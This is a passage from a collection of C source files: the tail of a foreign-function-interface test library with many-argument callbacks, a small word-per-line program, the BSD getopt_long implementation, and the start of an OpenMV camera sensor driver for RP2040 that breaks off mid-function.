219679466, -10035, 13915, -1193455756, 1265303699, 27935, -18478, -10508, (void *) 215389089, 55561, 55472, (void *) 146070433, -1040819989, -17851453, -1622662247, -19473, 20837, 30216, 79, 986800400, (void *) 390281604, (void *) 1178532858, 19, 117, 78337699, -5718, -991300738, 872160910, 184, 926, -1487245383, 1633973783, (void *) 33738609, 53985, -116, 31645, 27196, (void *) 145569903, -6960, 17252220, 47404, -10491, 88, -30438, -21212, -1982, -16, 1175270, 7949380, -121, 8559, -432968526, (void *) 293455312, 11894, -8394, 142421516, -25758, 3422998, 4004, 15758212, 198, -1071899743, -1284904617, -11, -17219, -30039, 311589092, (void *) 541468577, 123, 63517, (void *) 1252504506, 39368, (void *) 10057868, 134781408, -7143, (void *) 72825877, -1190798667, -30862, 63757, 14965, (void *) 802391252, 22008, -517289619, 806091099, 1125, 451, -498145176, (void *) 55960931, 15379, 4629, 184, 254, 22532, 465856451, -1669, 49416, -16546, 2983, 4337541, 65292495, 39253529, (void *) 669025, 211, 85, -19, 24298, 65358, 16776, -29957, (void *) 124311, -163231228, 2610, -7806, 26434, -21913, -753615541, 120, 358697932, -1198889034, -2131350926, (void *) 3749492036, -13413, 17); } /* * CALLBACKS.BFF.2 (cb-test) */ DLLEXPORT long long call_sum_127 (long long (*func) (short, char, void*, float, long, double, unsigned long long, unsigned short, unsigned char, char, char, unsigned short, unsigned long long, unsigned short, long long, unsigned short, unsigned long long, unsigned char, unsigned char, unsigned long long, long long, char, float, unsigned int, float, float, unsigned int, float, char, unsigned char, long, long long, unsigned char, double, long, double, unsigned int, unsigned short, long long, unsigned int, int, unsigned long long, long, short, unsigned int, unsigned int, unsigned long long, unsigned int, long, void*, unsigned char, char, long long, unsigned short, unsigned int, float, unsigned char, unsigned long, long long, float, long, float, int, float, unsigned short, unsigned long long, short, unsigned long, long, char, unsigned short, long long, short, double, void*, unsigned int, char, unsigned int, void*, void*, unsigned char, void*, unsigned short, unsigned char, long, void*, char, long, unsigned short, unsigned char, double, unsigned long long, unsigned short, unsigned short, unsigned int, long, char, long, char, short, unsigned short, unsigned long, unsigned long, short, long long, long long, long long, double, unsigned short, unsigned char, short, unsigned char, long, long long, unsigned long long, unsigned int, unsigned long, unsigned char, long long, unsigned char, unsigned long long, double, unsigned char, long long, unsigned char, char, long long)) { return func(-8573, 14, (void *) 832601021, -32334, -1532040888, -18478, 2793023182591311826, 2740, 230, 103, 97, 13121, 5112369026351511084, 7763, -8134147951003417418, 34348, 5776613699556468853, 19, 122, 1431603726926527625, 439503521880490337, -112, -21557, 1578969190, -22008, -4953, 2127745975, -7262, -6, 180, 226352974, -3928775366167459219, 134, -17730, -1175042526, 23868, 3494181009, 57364, 3134876875147518682, 104531655, -1286882727, 803577887579693487, 1349268803, 24912, 3313099419, 3907347884, 1738833249233805034, 2794230885, 1008818752, (void *) 1820044575, 189, 61, -931654560961745071, 57531, 3096859985, 10405, 220, 3631311224, -8531370353478907668, 31258, 678896693, -32150, -1869057813, -19877, 62841, 4161660185772906873, -23869, 4016251006, 610353435, 105, 47315, -1051054492535331660, 6846, -15163, (void *) 736672359, 2123928476, -122, 3859258652, (void *) 3923394833, (void *) 1265031970, 161, (void *) 1993867800, 55056, 122, 1562112760, (void *) 866615125, -79, -1261399547, 31737, 254, -31279, 5462649659172897980, 5202, 7644, 174224940, -337854382, -45, -583502442, -37, -13266, 24520, 2198606699, 2890453969, -8282, -2295716637858246075, -1905178488651598878, -6384652209316714643, 14841, 35443, 132, 15524, 187, 2138878229, -5153032566879951000, 9056545530140684207, 4124632010, 276167701, 56, -2307310370663738730, 66, 9113015627153789746, -9618, 167, 755753399701306200, 119, -28, -990561962725435433); } /* * CALLBACKS.DOUBLE26 */ DLLEXPORT double call_double26 (double (*f)(double, double, double, double, double, double, double, double, double, double, double, double, double, double, double, double, double, double, double, double, double, double, double, double, double, double)) { return f(3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14, 3.14); } /* * DEFCFUN.DOUBLE26 and FUNCALL.DOUBLE26 */ DLLEXPORT double sum_double26(double a1, double a2, double a3, double a4, double a5, double a6, double a7, double a8, double a9, double a10, double a11, double a12, double a13, double a14, double a15, double a16, double a17, double a18, double a19, double a20, double a21, double a22, double a23, double a24, double a25, double a26) { return a1 + a2 + a3 + a4 + a5 + a6 + a7 + a8 + a9 + a10 + a11 + a12 + a13 + a14 + a15 + a16 + a17 + a18 + a19 + a20 + a21 + a22 + a23 + a24 + a25 + a26; } /* * CALLBACKS.FLOAT26 */ DLLEXPORT float call_float26 (float (*f)(float, float, float, float, float, float, float, float, float, float, float, float, float, float, float, float, float, float, float, float, float, float, float, float, float, float)) { return f(5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0, 5.0); } /* * DEFCFUN.FLOAT26 and FUNCALL.FLOAT26 */ DLLEXPORT float sum_float26(float a1, float a2, float a3, float a4, float a5, float a6, float a7, float a8, float a9, float a10, float a11, float a12, float a13, float a14, float a15, float a16, float a17, float a18, float a19, float a20, float a21, float a22, float a23, float a24, float a25, float a26) { return a1 + a2 + a3 + a4 + a5 + a6 + a7 + a8 + a9 + a10 + a11 + a12 + a13 + a14 + a15 + a16 + a17 + a18 + a19 + a20 + a21 + a22 + a23 + a24 + a25 + a26; } /* * Symbol case. */ DLLEXPORT int UPPERCASEINT1 = 12345; DLLEXPORT int UPPER_CASE_INT1 = 23456; DLLEXPORT int MiXeDCaSeInT1 = 34567; DLLEXPORT int MiXeD_CaSe_InT1 = 45678; DLLEXPORT int UPPERCASEINT2 = 12345; DLLEXPORT int UPPER_CASE_INT2 = 23456; DLLEXPORT int MiXeDCaSeInT2 = 34567; DLLEXPORT int MiXeD_CaSe_InT2 = 45678; DLLEXPORT int UPPERCASEINT3 = 12345; DLLEXPORT int UPPER_CASE_INT3 = 23456; DLLEXPORT int MiXeDCaSeInT3 = 34567; DLLEXPORT int MiXeD_CaSe_InT3 = 45678; /* * FOREIGN-SYMBOL-POINTER.1 */ DLLEXPORT int compare_against_abs(intptr_t p) { return p == (intptr_t) abs; } /* * FOREIGN-SYMBOL-POINTER.2 */ DLLEXPORT void xpto_fun() {} DLLEXPORT int compare_against_xpto_fun(intptr_t p) { return p == (intptr_t) xpto_fun; } /* * [DEFCFUN|FUNCALL].NAMESPACE.1 */ DLLEXPORT int ns_function() { return 1; } /* * FOREIGN-GLOBALS.NAMESPACE.* */ DLLEXPORT int ns_var = 1; /* * DEFCFUN.STDCALL.1 */ DLLEXPORT int STDCALL stdcall_fun(int a, int b, int c) { return a + b + c; } /* * CALLBACKS.STDCALL.1 */ DLLEXPORT int call_stdcall_fun(int (STDCALL *f)(int, int, int)) { int a = 42; f(1, 2, 3); return a; } /* Unlike the one above, this commented test below actually * works. But, alas, it doesn't compile with -std=c99. */ /* DLLEXPORT int call_stdcall_fun(int __attribute__((stdcall)) (*f)(int, int, int)) { asm("pushl $42"); register int ebx asm("%ebx"); f(1, 2, 3); asm("popl %ebx"); return ebx; } */ /* vim: ts=4 et */
the_stack_data/182952100.c
#include <stdio.h> int main(void) { int c, linestarted; linestarted = 0; printf("Input some characters, then press Ctrl+D.\n"); while ((c = getchar()) != EOF) if (c == ' ' || c == '\t' || c == '\n') { if (!linestarted) { putchar('\n'); linestarted = 1; } } else { putchar(c); linestarted = 0; } return 0; }
the_stack_data/37636465.c
/* $OpenBSD: getopt_long.c,v 1.24 2010/07/22 19:31:53 blambert Exp $ */ /* $NetBSD: getopt_long.c,v 1.15 2002/01/31 22:43:40 tv Exp $ */ /* * Copyright (c) 2002 Todd C. Miller <[email protected]> * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. * * Sponsored in part by the Defense Advanced Research Projects * Agency (DARPA) and Air Force Research Laboratory, Air Force * Materiel Command, USAF, under agreement number F39502-99-1-0512. */ /*- * Copyright (c) 2000 The NetBSD Foundation, Inc. * All rights reserved. * * This code is derived from software contributed to The NetBSD Foundation * by Dieter Baron and Thomas Klausner. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include <errno.h> #include <getopt.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int opterr = 1; /* if error message should be printed */ int optind = 1; /* index into parent argv vector */ int optopt = '?'; /* character checked for validity */ int optreset; /* reset getopt */ char *optarg; /* argument associated with option */ #define PRINT_ERROR ((opterr) && (*options != ':')) #define FLAG_PERMUTE 0x01 /* permute non-options to the end of argv */ #define FLAG_ALLARGS 0x02 /* treat non-options as args to option "-1" */ #define FLAG_LONGONLY 0x04 /* operate as getopt_long_only */ /* return values */ #define BADCH (int)'?' #define BADARG ((*options == ':') ? (int)':' : (int)'?') #define INORDER (int)1 #define EMSG "" static int getopt_internal(int, char * const *, const char *, const struct option *, int *, int); static int parse_long_options(char * const *, const char *, const struct option *, int *, int); static int gcd(int, int); static void permute_args(int, int, int, char * const *); static char *place = EMSG; /* option letter processing */ /* XXX: set optreset to 1 rather than these two */ static int nonopt_start = -1; /* first non option argument (for permute) */ static int nonopt_end = -1; /* first option after non options (for permute) */ /* Error messages */ static const char recargchar[] = "option requires an argument -- %c"; static const char recargstring[] = "option requires an argument -- %s"; static const char ambig[] = "ambiguous option -- %.*s"; static const char noarg[] = "option doesn't take an argument -- %.*s"; static const char illoptchar[] = "unknown option -- %c"; static const char illoptstring[] = "unknown option -- %s"; /* * Compute the greatest common divisor of a and b. */ static int gcd(int a, int b) { int c; c = a % b; while (c != 0) { a = b; b = c; c = a % b; } return (b); } /* * Exchange the block from nonopt_start to nonopt_end with the block * from nonopt_end to opt_end (keeping the same order of arguments * in each block). */ static void permute_args(int panonopt_start, int panonopt_end, int opt_end, char * const *nargv) { int cstart, cyclelen, i, j, ncycle, nnonopts, nopts, pos; char *swap; /* * compute lengths of blocks and number and size of cycles */ nnonopts = panonopt_end - panonopt_start; nopts = opt_end - panonopt_end; ncycle = gcd(nnonopts, nopts); cyclelen = (opt_end - panonopt_start) / ncycle; for (i = 0; i < ncycle; i++) { cstart = panonopt_end+i; pos = cstart; for (j = 0; j < cyclelen; j++) { if (pos >= panonopt_end) pos -= nnonopts; else pos += nopts; swap = nargv[pos]; /* LINTED const cast */ ((char **) nargv)[pos] = nargv[cstart]; /* LINTED const cast */ ((char **)nargv)[cstart] = swap; } } } /* * parse_long_options -- * Parse long options in argc/argv argument vector. * Returns -1 if short_too is set and the option does not match long_options. */ static int parse_long_options(char * const *nargv, const char *options, const struct option *long_options, int *idx, int short_too) { char *current_argv, *has_equal; size_t current_argv_len; int i, match; current_argv = place; match = -1; optind++; if ((has_equal = strchr(current_argv, '=')) != NULL) { /* argument found (--option=arg) */ current_argv_len = has_equal - current_argv; has_equal++; } else current_argv_len = strlen(current_argv); for (i = 0; long_options[i].name; i++) { /* find matching long option */ if (strncmp(current_argv, long_options[i].name, current_argv_len)) continue; if (strlen(long_options[i].name) == current_argv_len) { /* exact match */ match = i; break; } /* * If this is a known short option, don't allow * a partial match of a single character. */ if (short_too && current_argv_len == 1) continue; if (match == -1) /* partial match */ match = i; else { /* ambiguous abbreviation */ if (PRINT_ERROR) fprintf(stderr, ambig, (int)current_argv_len, current_argv); optopt = 0; return (BADCH); } } if (match != -1) { /* option found */ if (long_options[match].has_arg == no_argument && has_equal) { if (PRINT_ERROR) fprintf(stderr, noarg, (int)current_argv_len, current_argv); /* * XXX: GNU sets optopt to val regardless of flag */ if (long_options[match].flag == NULL) optopt = long_options[match].val; else optopt = 0; return (BADARG); } if (long_options[match].has_arg == required_argument || long_options[match].has_arg == optional_argument) { if (has_equal) optarg = has_equal; else if (long_options[match].has_arg == required_argument) { /* * optional argument doesn't use next nargv */ optarg = nargv[optind++]; } } if ((long_options[match].has_arg == required_argument) && (optarg == NULL)) { /* * Missing argument; leading ':' indicates no error * should be generated. */ if (PRINT_ERROR) fprintf(stderr, recargstring, current_argv); /* * XXX: GNU sets optopt to val regardless of flag */ if (long_options[match].flag == NULL) optopt = long_options[match].val; else optopt = 0; --optind; return (BADARG); } } else { /* unknown option */ if (short_too) { --optind; return (-1); } if (PRINT_ERROR) fprintf(stderr, illoptstring, current_argv); optopt = 0; return (BADCH); } if (idx) *idx = match; if (long_options[match].flag) { *long_options[match].flag = long_options[match].val; return (0); } else return (long_options[match].val); } /* * getopt_internal -- * Parse argc/argv argument vector. Called by user level routines. */ static int getopt_internal(int nargc, char * const *nargv, const char *options, const struct option *long_options, int *idx, int flags) { char *oli; /* option letter list index */ int optchar, short_too; static int posixly_correct = -1; if (options == NULL) return (-1); /* * Disable GNU extensions if POSIXLY_CORRECT is set or options * string begins with a '+'. */ if (posixly_correct == -1) posixly_correct = (getenv("POSIXLY_CORRECT") != NULL); if (posixly_correct || *options == '+') flags &= ~FLAG_PERMUTE; else if (*options == '-') flags |= FLAG_ALLARGS; if (*options == '+' || *options == '-') options++; /* * XXX Some GNU programs (like cvs) set optind to 0 instead of * XXX using optreset. Work around this braindamage. */ if (optind == 0) optind = optreset = 1; optarg = NULL; if (optreset) nonopt_start = nonopt_end = -1; start: if (optreset || !*place) { /* update scanning pointer */ optreset = 0; if (optind >= nargc) { /* end of argument vector */ place = EMSG; if (nonopt_end != -1) { /* do permutation, if we have to */ permute_args(nonopt_start, nonopt_end, optind, nargv); optind -= nonopt_end - nonopt_start; } else if (nonopt_start != -1) { /* * If we skipped non-options, set optind * to the first of them. */ optind = nonopt_start; } nonopt_start = nonopt_end = -1; return (-1); } if (*(place = nargv[optind]) != '-' || (place[1] == '\0' && strchr(options, '-') == NULL)) { place = EMSG; /* found non-option */ if (flags & FLAG_ALLARGS) { /* * GNU extension: * return non-option as argument to option 1 */ optarg = nargv[optind++]; return (INORDER); } if (!(flags & FLAG_PERMUTE)) { /* * If no permutation wanted, stop parsing * at first non-option. */ return (-1); } /* do permutation */ if (nonopt_start == -1) nonopt_start = optind; else if (nonopt_end != -1) { permute_args(nonopt_start, nonopt_end, optind, nargv); nonopt_start = optind - (nonopt_end - nonopt_start); nonopt_end = -1; } optind++; /* process next argument */ goto start; } if (nonopt_start != -1 && nonopt_end == -1) nonopt_end = optind; /* * If we have "-" do nothing, if "--" we are done. */ if (place[1] != '\0' && *++place == '-' && place[1] == '\0') { optind++; place = EMSG; /* * We found an option (--), so if we skipped * non-options, we have to permute. */ if (nonopt_end != -1) { permute_args(nonopt_start, nonopt_end, optind, nargv); optind -= nonopt_end - nonopt_start; } nonopt_start = nonopt_end = -1; return (-1); } } /* * Check long options if: * 1) we were passed some * 2) the arg is not just "-" * 3) either the arg starts with -- we are getopt_long_only() */ if (long_options != NULL && place != nargv[optind] && (*place == '-' || (flags & FLAG_LONGONLY))) { short_too = 0; if (*place == '-') place++; /* --foo long option */ else if (*place != ':' && strchr(options, *place) != NULL) short_too = 1; /* could be short option too */ optchar = parse_long_options(nargv, options, long_options, idx, short_too); if (optchar != -1) { place = EMSG; return (optchar); } } if ((optchar = (int)*place++) == (int)':' || (optchar == (int)'-' && *place != '\0') || (oli = strchr(options, optchar)) == NULL) { /* * If the user specified "-" and '-' isn't listed in * options, return -1 (non-option) as per POSIX. * Otherwise, it is an unknown option character (or ':'). */ if (optchar == (int)'-' && *place == '\0') return (-1); if (!*place) ++optind; if (PRINT_ERROR) fprintf(stderr, illoptchar, optchar); optopt = optchar; return (BADCH); } if (long_options != NULL && optchar == 'W' && oli[1] == ';') { /* -W long-option */ if (*place) /* no space */ /* NOTHING */; else if (++optind >= nargc) { /* no arg */ place = EMSG; if (PRINT_ERROR) fprintf(stderr, recargchar, optchar); optopt = optchar; return (BADARG); } else /* white space */ place = nargv[optind]; optchar = parse_long_options(nargv, options, long_options, idx, 0); place = EMSG; return (optchar); } if (*++oli != ':') { /* doesn't take argument */ if (!*place) ++optind; } else { /* takes (optional) argument */ optarg = NULL; if (*place) /* no white space */ optarg = place; else if (oli[1] != ':') { /* arg not optional */ if (++optind >= nargc) { /* no arg */ place = EMSG; if (PRINT_ERROR) fprintf(stderr, recargchar, optchar); optopt = optchar; return (BADARG); } else optarg = nargv[optind]; } place = EMSG; ++optind; } /* dump back option letter */ return (optchar); } /* * getopt -- * Parse argc/argv argument vector. * * [eventually this will replace the BSD getopt] */ int getopt(int nargc, char * const *nargv, const char *options) { /* * We don't pass FLAG_PERMUTE to getopt_internal() since * the BSD getopt(3) (unlike GNU) has never done this. * * Furthermore, since many privileged programs call getopt() * before dropping privileges it makes sense to keep things * as simple (and bug-free) as possible. */ return (getopt_internal(nargc, nargv, options, NULL, NULL, 0)); } /* * getopt_long -- * Parse argc/argv argument vector. */ int getopt_long(int nargc, char * const *nargv, const char *options, const struct option *long_options, int *idx) { return (getopt_internal(nargc, nargv, options, long_options, idx, FLAG_PERMUTE)); } /* * getopt_long_only -- * Parse argc/argv argument vector. */ int getopt_long_only(int nargc, char * const *nargv, const char *options, const struct option *long_options, int *idx) { return (getopt_internal(nargc, nargv, options, long_options, idx, FLAG_PERMUTE|FLAG_LONGONLY)); }
the_stack_data/1093698.c
/* * This file is part of the OpenMV project. * * Copyright (c) 2013-2021 Ibrahim Abdelkader <[email protected]> * Copyright (c) 2013-2021 Kwabena W. Agyeman <[email protected]> * * This work is licensed under the MIT license, see the file LICENSE for details. * * Sensor abstraction layer for nRF port. */ #if MICROPY_PY_SENSOR #include <stdio.h> #include <string.h> #include <stdint.h> #include <stdbool.h> #include "py/mphal.h" #include "cambus.h" #include "sensor.h" #include "ov2640.h" #include "ov5640.h" #include "ov7725.h" #include "ov7690.h" #include "ov7670.h" #include "ov9650.h" #include "mt9v034.h" #include "lepton.h" #include "hm01b0.h" #include "framebuffer.h" #include "pico/time.h" #include "pico/stdlib.h" #include "hardware/pwm.h" #include "hardware/pio.h" #include "hardware/dma.h" #include "hardware/irq.h" #include "omv_boardconfig.h" #include "unaligned_memcpy.h" #include "dcmi.pio.h" sensor_t sensor = {0}; extern void __fatal_error(const char *msg); static void dma_irq_handler(); const int resolution[][2] = { {0, 0 }, // C/SIF Resolutions {88, 72 }, /* QQCIF */ {176, 144 }, /* QCIF */ {352, 288 }, /* CIF */ {88, 60 }, /* QQSIF */ {176, 120 }, /* QSIF */ {352, 240 }, /* SIF */ // VGA Resolutions {40, 30 }, /* QQQQVGA */ {80, 60 }, /* QQQVGA */ {160, 120 }, /* QQVGA */ {320, 240 }, /* QVGA */ {640, 480 }, /* VGA */ {30, 20 }, /* HQQQQVGA */ {60, 40 }, /* HQQQVGA */ {120, 80 }, /* HQQVGA */ {240, 160 }, /* HQVGA */ {480, 320 }, /* HVGA */ // FFT Resolutions {64, 32 }, /* 64x32 */ {64, 64 }, /* 64x64 */ {128, 64 }, /* 128x64 */ {128, 128 }, /* 128x128 */ // Himax Resolutions {160, 160 }, /* 160x160 */ {320, 320 }, /* 320x320 */ // Other {128, 160 }, /* LCD */ {128, 160 }, /* QQVGA2 */ {720, 480 }, /* WVGA */ {752, 480 }, /* WVGA2 */ {800, 600 }, /* SVGA */ {1024, 768 }, /* XGA */ {1280, 768 }, /* WXGA */ {1280, 1024}, /* SXGA */ {1280, 960 }, /* SXGAM */ {1600, 1200}, /* UXGA */ {1280, 720 }, /* HD */ {1920, 1080}, /* FHD */ {2560, 1440}, /* QHD */ {2048, 1536}, /* QXGA */ {2560, 1600}, /* WQXGA */ {2592, 1944}, /* WQXGA2 */ }; static void sensor_dma_config(int w, int h, int bpp, uint32_t *capture_buf, bool rev_bytes) { dma_channel_abort(DCMI_DMA_CHANNEL); dma_irqn_set_channel_enabled(DCMI_DMA, DCMI_DMA_CHANNEL, false); dma_channel_config c = dma_channel_get_default_config(DCMI_DMA_CHANNEL); channel_config_set_read_increment(&c, false); channel_config_set_write_increment(&c, true); channel_config_set_dreq(&c, pio_get_dreq(DCMI_PIO, DCMI_SM, false)); channel_config_set_bswap(&c, rev_bytes); dma_channel_configure(DCMI_DMA_CHANNEL, &c, capture_buf, // Destinatinon pointer. &DCMI_PIO->rxf[DCMI_SM], // Source pointer. (w*h*bpp)>>2, // Number of transfers in words. true // Start immediately, will block on SM. ); // Re-enable DMA IRQs. dma_irqn_set_channel_enabled(DCMI_DMA, DCMI_DMA_CHANNEL, true); } int sensor_init() { int init_ret = 0; // PIXCLK gpio_init(DCMI_PXCLK_PIN); gpio_set_dir(DCMI_PXCLK_PIN, GPIO_IN); // HSYNC gpio_init(DCMI_HSYNC_PIN); gpio_set_dir(DCMI_HSYNC_PIN, GPIO_IN); // VSYNC gpio_init(DCMI_VSYNC_PIN); gpio_set_dir(DCMI_VSYNC_PIN, GPIO_IN); #if defined(DCMI_PWDN_PIN) gpio_init(DCMI_PWDN_PIN); gpio_set_dir(DCMI_PWDN_PIN, GPIO_OUT); gpio_pull_down(DCMI_PWDN_PIN); DCMI_PWDN_HIGH(); #endif #if defined(DCMI_RESET_PIN) gpio_init(DCMI_RESET_PIN); gpio_set_dir(DCMI_RESET_PIN, GPIO_OUT); gpio_pull_up(DCMI_RESET_PIN); DCMI_RESET_HIGH(); #endif /* Do a power cycle */ DCMI_PWDN_HIGH(); mp_hal_delay_ms(10); DCMI_PWDN_LOW(); mp_hal_delay_ms(10); // Configure the sensor external clock (XCLK) to XCLK_FREQ. #if (OMV_XCLK_SOURCE == OMV_XCLK_TIM) // Configure external clock timer. if (sensor_set_xclk_frequency(OMV_XCLK_FREQUENCY) != 0) { // Timer problem return -1; } #elif (OMV_XCLK_SOURCE == OMV_XCLK_OSC) // An external oscillator is used for the sensor clock. // Nothing to do. #else #error "OMV_XCLK_SOURCE is not set!" #endif /* Reset the sesnor state */ memset(&sensor, 0, sizeof(sensor_t)); /* Some sensors have different reset polarities, and we can't know which sensor is connected before initializing cambus and probing the sensor, which in turn requires pulling the sensor out of the reset state. So we try to probe the sensor with both polarities to determine line state. */ sensor.pwdn_pol = ACTIVE_HIGH; sensor.reset_pol = ACTIVE_HIGH; /* Reset the sensor */ DCMI_RESET_HIGH(); mp_hal_delay_ms(10); DCMI_RESET_LOW(); mp_hal_delay_ms(10); // Initialize the camera bus. cambus_init(&sensor.bus, ISC_I2C_ID, ISC_I2C_SPEED); mp_hal_delay_ms(10); /* Probe the sensor */ sensor.slv_addr = cambus_scan(&sensor.bus); if (sensor.slv_addr == 0) { /* Sensor has been held in reset, so the reset line is active low */ sensor.reset_pol = ACTIVE_LOW; /* Pull the sensor out of the reset state */ DCMI_RESET_HIGH(); mp_hal_delay_ms(10); /* Probe again to set the slave addr */ sensor.slv_addr = cambus_scan(&sensor.bus); if (sensor.slv_addr == 0) { sensor.pwdn_pol = ACTIVE_LOW; DCMI_PWDN_HIGH(); mp_hal_delay_ms(10); sensor.slv_addr = cambus_scan(&sensor.bus); if (sensor.slv_addr == 0) { sensor.reset_pol = ACTIVE_HIGH; DCMI_RESET_LOW(); mp_hal_delay_ms(10); sensor.slv_addr = cambus_scan(&sensor.bus); if (sensor.slv_addr == 0) { return -2; } } } } // Clear sensor chip ID. sensor.chip_id = 0; // Set default snapshot function. sensor.snapshot = sensor_snapshot; switch (sensor.slv_addr) { #if (OMV_ENABLE_OV2640 == 1) case OV2640_SLV_ADDR: // Or OV9650. cambus_readb(&sensor.bus, sensor.slv_addr, OV_CHIP_ID, &sensor.chip_id); break; #endif // (OMV_ENABLE_OV2640 == 1) #if (OMV_ENABLE_OV5640 == 1) case OV5640_SLV_ADDR: cambus_readb2(&sensor.bus, sensor.slv_addr, OV5640_CHIP_ID, &sensor.chip_id); break; #endif // (OMV_ENABLE_OV5640 == 1) #if (OMV_ENABLE_OV7725 == 1) || (OMV_ENABLE_OV7670 == 1) || (OMV_ENABLE_OV7690 == 1) case OV7725_SLV_ADDR: // Or OV7690 or OV7670. cambus_readb(&sensor.bus, sensor.slv_addr, OV_CHIP_ID, &sensor.chip_id); break; #endif //(OMV_ENABLE_OV7725 == 1) || (OMV_ENABLE_OV7670 == 1) || (OMV_ENABLE_OV7690 == 1) #if (OMV_ENABLE_MT9V034 == 1) case MT9V034_SLV_ADDR: cambus_readb(&sensor.bus, sensor.slv_addr, ON_CHIP_ID, &sensor.chip_id); break; #endif //(OMV_ENABLE_MT9V034 == 1) #if (OMV_ENABLE_MT9M114 == 1) case MT9M114_SLV_ADDR: cambus_readw2(&sensor.bus, sensor.slv_addr, ON_CHIP_ID, &sensor.chip_id_w); break; #endif // (OMV_ENABLE_MT9M114 == 1) #if (OMV_ENABLE_LEPTON == 1) case LEPTON_SLV_ADDR: sensor.chip_id = LEPTON_ID; break; #endif // (OMV_ENABLE_LEPTON == 1) #if (OMV_ENABLE_HM01B0 == 1) case HM01B0_SLV_ADDR: cambus_readb2(&sensor.bus, sensor.slv_addr, HIMAX_CHIP_ID, &sensor.chip_id); break; #endif //(OMV_ENABLE_HM01B0 == 1) default: return -3; break; } switch (sensor.chip_id) { #if (OMV_ENABLE_OV2640 == 1) case OV2640_ID: if (sensor_set_xclk_frequency(OV2640_XCLK_FREQ) != 0) { return -3; } init_ret = ov2640_init(&sensor); break; #endif // (OMV_ENABLE_OV2640 == 1) #if (OMV_ENABLE_OV5640 == 1) case OV5640_ID: if (sensor_set_xclk_frequency(OV5640_XCLK_FREQ) != 0) { return -3; } init_ret = ov5640_init(&sensor); break; #endif // (OMV_ENABLE_OV5640 == 1) #if (OMV_ENABLE_OV7670 == 1) case OV7670_ID: init_ret = ov7670_init(&sensor); break; #endif // (OMV_ENABLE_OV7670 == 1) #if (OMV_ENABLE_OV7690 == 1) case OV7690_ID: if (sensor_set_xclk_frequency(OV7690_XCLK_FREQ) != 0) { return -3; } init_ret = ov7690_init(&sensor); break; #endif // (OMV_ENABLE_OV7690 == 1) #if (OMV_ENABLE_OV7725 == 1) case OV7725_ID: init_ret = ov7725_init(&sensor); break; #endif // (OMV_ENABLE_OV7725 == 1) #if (OMV_ENABLE_OV9650 == 1) case OV9650_ID: init_ret = ov9650_init(&sensor); break; #endif // (OMV_ENABLE_OV9650 == 1) #if (OMV_ENABLE_MT9V034 == 1) case MT9V034_ID: if (sensor_set_xclk_frequency(MT9V034_XCLK_FREQ) != 0) { return -3; } init_ret = mt9v034_init(&sensor); break; #endif //(OMV_ENABLE_MT9V034 == 1) #if (OMV_ENABLE_MT9M114 == 1) case MT9M114_ID: if (sensor_set_xclk_frequency(MT9M114_XCLK_FREQ) != 0) { return -3; } init_ret = mt9m114_init(&sensor); break; #endif //(OMV_ENABLE_MT9M114 == 1) #if (OMV_ENABLE_LEPTON == 1) case LEPTON_ID: if (sensor_set_xclk_frequency(LEPTON_XCLK_FREQ) != 0) { return -3; } init_ret = lepton_init(&sensor); break; #endif // (OMV_ENABLE_LEPTON == 1) #if (OMV_ENABLE_HM01B0 == 1) case HM01B0_ID: init_ret = hm01b0_init(&sensor); break; #endif //(OMV_ENABLE_HM01B0 == 1) default: return -3; break; } if (init_ret != 0 ) { // Sensor init failed. return -4; } // Set default color palette. sensor.color_palette = rainbow_table; // Disable VSYNC IRQ and callback sensor_set_vsync_callback(NULL); // Set new DMA IRQ handler. // Disable IRQs. irq_set_enabled(DCMI_DMA_IRQ, false); // Clear DMA interrupts. dma_irqn_acknowledge_channel(DCMI_DMA, DCMI_DMA_CHANNEL); // Remove current handler if any irq_handler_t irq_handler = irq_get_exclusive_handler(DCMI_DMA_IRQ); if (irq_handler != NULL) { irq_remove_handler(DCMI_DMA_IRQ, irq_handler); } // Set new exclusive IRQ handler. irq_set_exclusive_handler(DCMI_DMA_IRQ, dma_irq_handler); // Or set shared IRQ 